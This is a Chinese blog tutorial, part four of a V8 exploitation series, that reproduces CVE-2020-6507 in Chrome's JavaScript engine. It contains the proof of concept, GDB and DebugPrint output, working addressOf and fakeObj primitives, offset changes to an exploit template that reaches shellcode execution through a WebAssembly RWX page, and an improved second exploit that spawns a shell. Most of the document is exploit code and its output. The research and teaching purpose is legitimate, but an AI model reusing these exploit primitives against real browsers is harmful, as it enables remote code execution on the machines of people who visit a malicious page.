从0开始学V8漏洞利用之CVE-2020-6507(四)

复现CVE-2020-6507

信息收集

在复习漏洞前,我们首先需要有一个信息收集的阶段:

  1. 可以从Chrome的官方更新公告得知某个版本的Chrome存在哪些漏洞。
  2. 从官方更新公告上可以得到漏洞的bug号,从而在官方的issue列表获取该bug相关信息,太新的可能会处于未公开状态。
  3. 可以在Google搜索Chrome 版本号 "dl.google.com",比如chrome 90.0.4430.93 "dl.google.com",可以搜到一些网站有Chrome更新的新闻,在这些新闻中能获取该版本Chrome官方离线安装包。下载Chrome一定要从dl.google.com网站上下载。

我第二个研究的是CVE-2020-6507,可以从官方公告得知其chrome的bug编号为:1086890

可以很容易找到其相关信息:

受影响的Chrome最高版本为:83.0.4103.97
受影响的V8最高版本为:8.3.110.9

相关PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

length_as_double =
new Float64Array(new BigUint64Array([0x2424242400000000n]).buffer)[0];

function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}

corrupted_array = trigger(giant_array)[1];
alert('corrupted array length: ' + corrupted_array.length.toString(16));
corrupted_array[0x123456];

搭建环境

一键编译相关环境:

1
$ ./build.sh 8.3.110.9

套模版

暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

运行一下PoC:

1
2
3
4
5
6
7
$ cat poc.js
......
corrupted_array = trigger(giant_array)[1];
console.log('corrupted array length: ' + corrupted_array.length.toString(16));
# 最后一行删了,alert改成console.log
$ ./d8 poc.js
corrupted array length: 12121212

可以发现,改PoC的作用是把corrupted_array数组的长度改为0x24242424/2 = 0x12121212,那么后续如果我们的obj_arraydouble_array在这个长度的内存区域内,那么就可以写addressOffakeObj函数了。

来进行一波测试:

1
2
3
4
5
6
7
8
9
$ cat test.js
......
corrupted_array = trigger(giant_array)[1];
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

%DebugPrint(corrupted_array);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
DebugPrint: 0x9ce0878c139: [JSArray]
- map: 0x09ce08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x09ce082091e1 <JSArray[0]>

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
......
pwndbg> x/32gx 0x9ce0878c139-1
0x9ce0878c138: 0x080406e908241891 0x2424242400000000
0x9ce0878c148: 0x00000004080404b1 0x0878c1390878c119
0x9ce0878c158: 0x080406e9082418e1 0x000000040878c149

调试的时候,发现程序crash了,不过我们仍然可以查看内存,发现该版本的v8,已经对地址进行了压缩,我们虽然把length位改成了0x24242424,但是我们却也把elements位改成了0x00000000。在这个步骤的时候,我们没有泄漏过任何地址,有没有其他没办法构造一个elements呢。

最后发现堆地址是从低32bit地址为0x00000000开始的,后续变量可能会根据环境的问题有所变动,那么前面的值是不是低32bit地址不会变呢?

改了改测试代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ cat test.js
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

array = Array(0x40000).fill(1.1);
......
corrupted_array = trigger(giant_array)[1];
%DebugPrint(double_array);
var a = corrupted_array[0];
console.log("a = 0x" + ftoi(a).toString(16));

结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x288c089017d5: [JSArray] in OldSpace
- map: 0x288c08241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x288c082091e1 <JSArray[0]>
- elements: 0x288c089046ed <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x288c080406e9 <FixedArray[0]> {
#length: 0x288c08180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x288c089046ed <FixedDoubleArray[1]> {
0: 1.1
}
0x288c08241891: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x288c08241869 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x288c08180451 <Cell value= 1>
- instance descriptors #1: 0x288c08209869 <DescriptorArray[1]>
- transitions #1: 0x288c082098b5 <TransitionArray[4]>Transition array #1:
0x288c08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x288c082418b9 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x288c082091e1 <JSArray[0]>
- constructor: 0x288c082090b5 <JSFunction Array (sfi = 0x288c08188e45)>
- dependent code: 0x288c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

a = 0x80406e908241891

成功泄漏出double_array变量的map地址,再改改测试代码:

1
2
3
4
5
6
7
8
9
10
11
$ cat test.js
......
length_as_double =
new Float64Array(new BigUint64Array([0x2424242408901c75n]).buffer)[0];
......
%DebugPrint(double_array);
%DebugPrint(obj_array);
var array_map = corrupted_array[0];
var obj_map = corrupted_array[4];
console.log("array_map = 0x" + ftoi(array_map).toString(16));
console.log("obj_map = 0x" + ftoi(obj_map).toString(16));

再来看看结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x34f108901c7d: [JSArray] in OldSpace
- map: 0x34f108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b95 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b95 <FixedDoubleArray[1]> {
0: 1.1
}
......
DebugPrint: 0x34f108901c9d: [JSArray] in OldSpace
- map: 0x34f1082418e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x34f1082091e1 <JSArray[0]>
- elements: 0x34f108904b89 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x34f1080406e9 <FixedArray[0]> {
#length: 0x34f108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x34f108904b89 <FixedArray[1]> {
0: 0x34f108901c8d <Object map = 0x34f108244e79>
}
......
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1

成功泄漏了map地址,不过该方法的缺点是,只要修改了js代码,堆布局就会发生一些变化,就需要修改elements的值,所以需要先把所有代码写好,不准备变的时候,再来修改一下这个值。

不过也还有一些方法,比如堆喷,比如把elements值设置的稍微小一点,然后在根据map的低20bit为0x891,来搜索map地址,不过这些方法本文不再深入研究,有兴趣的可以自行进行测试。

编写addressOf函数

现在我们能来编写addressOf函数了:

1
2
3
4
5
6
7
8
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
corrupted_array[4] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
corrupted_array[4] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

1
2
3
4
5
6
7
8
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
corrupted_array[0] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
corrupted_array[0] = array_map; // 改回来,以便后续需要的时候使用
return faked_obj;
}

修改偏移

改版本中,需要修改的偏移有:

1
2
3
4
5
6
7
8
9
10
$ cat exp1.js
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
......
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x10n;
......
}
......
fake_object_addr = fake_array_addr + 0x48n;
......

其他都模板中一样,最后运行exp1:

1
2
3
4
5
6
7
8
9
$ ./d8 --allow-natives-syntax exp1.js
array_map = 0x80406e908241891
obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8040a3d5962db08
[*] leak wasm_instance addr: 0x8040a3d082116bc
[*] leak rwx_page_addr: 0x28fd83851000
[*] buf_backing_store_addr: 0x9c0027c000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

优化exp

前面内容通过套模板的方式,写出了exp1,但是却有些许不足,因为elements的值是根据我们本地环境测试出来的,即使在测试环境中,代码稍微变动,就需要修改,如果只是用来打CTF,我觉得这样就足够了。但是如果拿去实际的环境打,exp大概需要进行许多修改。

接下来,我将准备讲讲该漏洞原理,在理解其原理后,再来继续优化我们的exp。那为啥之前花这么长时间讲这个不太实用的exp?而不直接讲优化后的exp?因为我想表明,在只有PoC的情况下,也可以通过套模板,写出exp。

漏洞成因

漏洞成因这块我不打算花太多时间讲,因为我发现,V8更新的太快了,你花大量时间来分析这个版本的代码,分析这个漏洞的相关代码,但是换一个版本,会发现代码发生了改变,之前分析的已经过时了。所以我觉得起码在初学阶段,没必要深挖到最底层。

bugs.chromium.org上已经很清楚了解释了该漏洞了。

NewFixedArrayNewFixedDoubleArray没有对数组的大小进行判断,来看看NewFixedDoubleArray修复后的代码,多了一个判断:

1
2
3
4
5
6
macro NewFixedDoubleArray<Iterator: type>(
......
if (length > kFixedDoubleArrayMaxLength) deferred {
runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
}
......

再去搜一搜源码,发现kFixedDoubleArrayMaxLength = 671088612,说明一个浮点型的数组,最大长度为67108862

我们再来看看PoC:

1
2
3
4
5
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);

我们来算算,array的长度为0x40000args的为0xffarray,然后args还push了一个长度为0x3fffc的数组。

通过Array.prototype.concat.apply函数,把args变量变成了长度为0x40000 * 0xff + 0x3fffc = 67108860的变量giant_array

接着再使用splice添加了3个值,该函数将会执行NewFixedDoubleArray函数,从而生成了一个长度为67108860+3=67108863的浮点型数组。

该长度已经超过了kFixedDoubleArrayMaxLength的值,那么改漏洞要怎么利用呢?

来看看trigger函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);

let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];

corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}

for (let i = 0; i < 30000; ++i) {
trigger(giant_array); // 触发JIT优化
}

该函数传入的为giant_array数组,其长度为67108863,所以x = 67108863,经过计算后,得到x = 7,然后执行corrupting_array[x] = length_as_double;corrupting_array原本以数组的形式储存浮点型,长度为2,但是给其index=7的位置赋值,将会把该变量的储存类型变为映射模式。

这么一看,好像并没有什么问题。但是V8有一个特性,会对执行的比较多的代码进行JIT优化,会删除一些冗余代码,加速代码的执行速度。

比如对trigger函数进行优化,V8会认为x的最大长度为67108862,那么x最后的计算结果最大值为1,那么x最后的值不是0就是1,corrupting_array的长度为2,不论对其0还是1赋值都是有效的。原本代码在执行corrupting_array[x]执行的时候,会根据x的值对corrupting_array边界进行检查,但是通过上述的分析,JIT认为这种边界检查是没有必要的,就把检查的代码给删除了。这样就直接对corrupting_array[x]进行赋值,而实际的x值为7,这就造成了越界读写,而index=7这个位置,正好是corrupted_array变量的elementslength位,所以PoC达到了之前分析的那种效果。

知道原理了,那么我们就能对该函数进行一波优化了,我最后的优化代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
length_as_double =
new Float64Array(new BigUint64Array([0x2424242422222222n]).buffer)[0];
function trigger(array) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
let test1 = [0.1, 0.1];
let test2 = [test1];
let test3 = [0.1];
test1[x] = length_as_double; // fake length
return [test1, test2, test3];
}

x最后的值为11,修改到了test3的长度,但是并不会修改到elements的值,因为中间有个test2,导致产生了4字节的偏移,所以我们可以让我们只修改test3的长度而不影响到elements

根据上述思路,我们对PoC进行一波修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function trigger(array, oob) {
var x = array.length;
x -= 67108861; // 1 2
x *= 10; // 10 20
x -= 9; // 1 11
oob[x] = length_as_double; // fake length
}

for (let i = 0; i < 30000; ++i) {
vul = [1.1, 2.1];
pad = [vul];
double_array = [3.1];
obj = {"a": 2.1};
obj_array = [obj];
trigger(giant_array, vul);
}
%DebugPrint(double_array);
%DebugPrint(obj_array);
//%SystemBreak();
var array_map = double_array[1];
var obj_map = double_array[8];
console.log("[*] array_map = 0x" + hex(ftoi(array_map)));
console.log("[*] obj_map = 0x" + hex(ftoi(obj_map)));

接下来只要在exp1的基础上对addressOffakeObj进行一波微调,就能形成我们的exp2了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat exp2.js
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
double_array[8] = array_map; // 把obj数组的map地址改为浮点型数组的map地址
let obj_addr = ftoi(obj_array[0]) - 1n;
double_array[8] = obj_map; // 把obj数组的map地址改回来,以便后续使用
return obj_addr;
}

function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array[1] = obj_map; // 把浮点型数组的map地址改为对象数组的map地址
let faked_obj = double_array[0];
return faked_obj;
}
$ ./d8 exp2.js
[*] array_map = 0x80406e908241891
[*] obj_map = 0x80406e9082418e1
[*] leak fake_array addr: 0x8241891591b0d88
[*] leak wasm_instance addr: 0x8241891082116f0
[*] leak rwx_page_addr: 0x3256ebaef000
[*] buf_backing_store_addr: 0x7d47f2d000000000
$ id
uid=1000(ubuntu) gid=1000(ubuntu)

从0开始学V8漏洞利用之CVE-2020-6507(四)

https://nobb.site/2021/12/02/0x6C/

Author

Hcamael

Posted on

2021-12-02

Updated on

2021-12-30

Licensed under